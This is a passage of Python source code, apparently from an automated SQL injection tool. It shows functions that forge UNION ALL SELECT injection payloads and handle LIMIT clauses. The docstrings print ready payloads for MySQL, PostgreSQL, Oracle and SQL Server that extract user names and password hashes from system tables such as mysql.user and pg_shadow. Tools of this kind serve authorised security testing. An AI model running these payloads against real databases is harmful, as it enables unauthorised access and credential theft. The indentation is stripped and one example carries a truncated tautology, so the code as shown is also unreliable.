for index in zeroDepthSearch(replacement, ',')[1:]:
chars[index] = "),"
count += 1
replacement = "CONCAT(%s%s)" % ("CONCAT(" * count, "".join(chars))
concatenatedQuery = "%s%s" % (replacement, fromTable)
elif fieldsSelect:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
concatenatedQuery += "),'%s')" % kb.chars.stop
elif fieldsNoSelect:
concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
return concatenatedQuery
def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
"""
Take in input an query (pseudo query) string and return its
processed UNION ALL SELECT query.
Examples:
MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user
MySQL output: UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488
PostgreSQL input: (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow
PostgreSQL output: UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713
Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))
Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738
Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins
Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254
@param query: it is a processed query string unescaped to be
forged within an UNION ALL SELECT statement
@type query: C{str}
@param position: it is the NULL position where it is possible
to inject the query
@type position: C{int}
@return: UNION ALL SELECT query string forged
@rtype: C{str}
"""
if conf.uFrom:
fromTable = " FROM %s" % conf.uFrom
elif not fromTable:
if kb.tableFrom:
fromTable = " FROM %s" % kb.tableFrom
else:
fromTable = FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")
if query.startswith("SELECT "):
query = query[len("SELECT "):]
unionQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix)
if limited:
unionQuery += ','.join(char if _ != position else '(SELECT %s)' % query for _ in xrange(0, count))
unionQuery += fromTable
unionQuery = self.suffixQuery(unionQuery, comment, suffix)
return unionQuery
else:
_ = zeroDepthSearch(query, " FROM ")
if _:
fromTable = query[_[0]:]
if fromTable and query.endswith(fromTable):
query = query[:-len(fromTable)]
topNumRegex = re.search(r"\ATOP\s+([\d]+)\s+", query, re.I)
if topNumRegex:
topNum = topNumRegex.group(1)
query = query[len("TOP %s " % topNum):]
unionQuery += "TOP %s " % topNum
intoRegExp = re.search(r"(\s+INTO (DUMP|OUT)FILE\s+'(.+?)')", query, re.I)
if intoRegExp:
intoRegExp = intoRegExp.group(1)
query = query[:query.index(intoRegExp)]
position = 0
char = NULL
for element in xrange(0, count):
if element > 0:
unionQuery += ','
if element == position:
unionQuery += query
else:
unionQuery += char
if fromTable and not unionQuery.endswith(fromTable):
unionQuery += fromTable
if intoRegExp:
unionQuery += intoRegExp
if multipleUnions:
unionQuery += " UNION ALL SELECT "
for element in xrange(count):
if element > 0:
unionQuery += ','
if element == position:
unionQuery += multipleUnions
else:
unionQuery += char
if fromTable:
unionQuery += fromTable
unionQuery = self.suffixQuery(unionQuery, comment, suffix)
return unionQuery
def limitCondition(self, expression, dump=False):
startLimit = 0
stopLimit = None
limitCond = True
topLimit = re.search(r"TOP\s+([\d]+)\s+", expression, re.I)
limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
if hasattr(queries[Backend.getIdentifiedDbms()].limitregexp, "query2"):
limitRegExp2 = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query2, expression, re.I)
else:
limitRegExp2 = None
if (limitRegExp or limitRegExp2) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
if limitGroupStart.isdigit():
if limitRegExp:
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
elif limitRegExp2:
startLimit = 0
stopLimit = limitRegExp2.group(int(limitGroupStart))
limitCond = int(stopLimit) > 1
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
if limitRegExp:
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif topLimit:
startLimit = 0
stopLimit = int(topLimit.group(1))
limitCond = int(stopLimit) > 1
elif Backend.isDbms(DBMS.ORACLE):
limitCond = False
# We assume that only queries NOT containing a "LIMIT #, 1"
# (or equivalent depending on the back-end DBMS) can return
# multiple entries
if limitCond:
if (limitRegExp or limitRegExp2) and stopLimit is not None:
stopLimit = int(stopLimit)
# From now on we need only the expression until the " LIMIT "
# (or equivalent, depending on the back-end DBMS) word
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
stopLimit += startLimit
if expression.find(queries[Backend.getIdentifiedDbms()].limitstring.query) > 0:
_ = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
else:
_ = re.search(r"\bLIMIT\b", expression, re.I).start()
expression = expression[:_]
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
stopLimit += startLimit
elif dump:
if conf.limitStart:
startLimit = conf.limitStart - 1
if conf.limitStop:
stopLimit = conf.limitStop
return expression, limitCond, topLimit, startLimit, stopLimit
def limitQuery(self, num, query, field=None, uniqueField=None):
"""
Take in input a query string and return its limited query string.
Example:
Input: SELECT user FROM mysql.users
Output: SELECT user FROM mysql.users LIMIT <num>, 1
@param num: limit number
@type num: C{int}
@param query: query to be processed
@type query: C{str}
@param field: field within the query
@type field: C{list}
@return: limited query string
@rtype: C{str}
"""